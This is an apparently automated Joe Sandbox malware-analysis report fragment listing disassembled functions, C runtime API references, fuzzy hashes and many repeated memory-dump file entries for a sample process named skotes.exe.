Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: 0{'$c13L
API String ID: 3366076730-2807237454
Opcode ID: ca51a9cf862df357a1ca2d67f07a4dd62bd072d823632d9b8cbf157c781a0a67
Instruction ID: f56b0e39da8db81bccdcaa0f3a71b5863c072ad858a4baf0931a18a9c139abd8
Opcode Fuzzy Hash: ca51a9cf862df357a1ca2d67f07a4dd62bd072d823632d9b8cbf157c781a0a67
Instruction Fuzzy Hash: 63A135B0A116158FDB21CF68C984B9EBBF1FF48700F188199E819AB352EB759D11CF80

Function 002626B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00262846
___std_exception_destroy.LIBVCRUNTIME ref: 002628E0

Strings

c13L, xrefs: 002626D8

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: c13L
API String ID: 2970364248-2793365725
Opcode ID: 4db339cc99d41a48bae514bb8fa76ec1706936f9d830fc036ae46379cae9f94c
Instruction ID: 8f8f2e9054470bfb209b7dea2cfb32c2f9173d2e0ca92f18947b57d9d84fa2ab
Opcode Fuzzy Hash: 4db339cc99d41a48bae514bb8fa76ec1706936f9d830fc036ae46379cae9f94c
Instruction Fuzzy Hash: B1718171E10248DBDB05CFA8C885BDEFBB9FF59310F14811EE809A7241DB74A994CBA5

Function 0026DBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

list too long, xrefs: 0026E09D
c13L, xrefs: 0026DBE6, 0026DD2F

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID: c13L$list too long
API String ID: 0-459378662
Opcode ID: d4b4465d6c44ec08d664cf9cbd2794cb82d9bf497a89ac095d2631f2d0b68d53
Instruction ID: 92af1516a0362c8ae8176f3a56cdf1f264fa953d93000b9313375feb3de18451
Opcode Fuzzy Hash: d4b4465d6c44ec08d664cf9cbd2794cb82d9bf497a89ac095d2631f2d0b68d53
Instruction Fuzzy Hash: 2961B6B0D147199BDB10DF64CD85BA9F7B8FF14700F1081A9E80DA7281EB71AAA5CF51

Function 00262900 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002629DF

Strings

c13L, xrefs: 002629C4
c13L, xrefs: 00262915

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: c13L$c13L
API String ID: 2659868963-2565585393
Opcode ID: 7fd7ef7f904a5015bb1c01f8cab3b0f51408fce220ab819a185531c444fda868
Instruction ID: 08d2c34af4e41a1a869c77bcf7d7912ccf45ec46f84605ab356f9d4922c8a16d
Opcode Fuzzy Hash: 7fd7ef7f904a5015bb1c01f8cab3b0f51408fce220ab819a185531c444fda868
Instruction Fuzzy Hash: 063180719206099BCB14DF58C845B9EFBB9FB49720F14861AF414A7780E771A964CBA0

Function 00262B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00262B63

Strings

c13L, xrefs: 00262B36
This function cannot be called on a default constructed task, xrefs: 00262B43

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: This function cannot be called on a default constructed task$c13L
API String ID: 2659868963-3343661157
Opcode ID: 53f01a17972194812ee2f7100d4d9e69948b5dbc5d7692943107d9ec09c12a64
Instruction ID: 663f314cbb5326f20bb9a5113b4f8d2e7a789f9bd74922509ff6689d792b2163
Opcode Fuzzy Hash: 53f01a17972194812ee2f7100d4d9e69948b5dbc5d7692943107d9ec09c12a64
Instruction Fuzzy Hash: D2F08C70D202089BC720DF6898419DEFBE9EF15300B5082AEE845A7200EBB02A688B95

Analysis Process: skotes.exePID: 2128, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	606
Total number of Limit Nodes:	4

Executed Functions

Function 006C652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,006C652A,?,?,?,?,?,006C7661), ref: 006C6567

Memory Dump Source

Source File: 00000002.00000002.2310380497.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2310362606.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310380497.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310440680.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310459821.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310480195.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310578878.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310597404.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310616397.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310632940.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310649956.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310689049.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310708966.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310726399.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310744767.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310761898.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2310779161.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
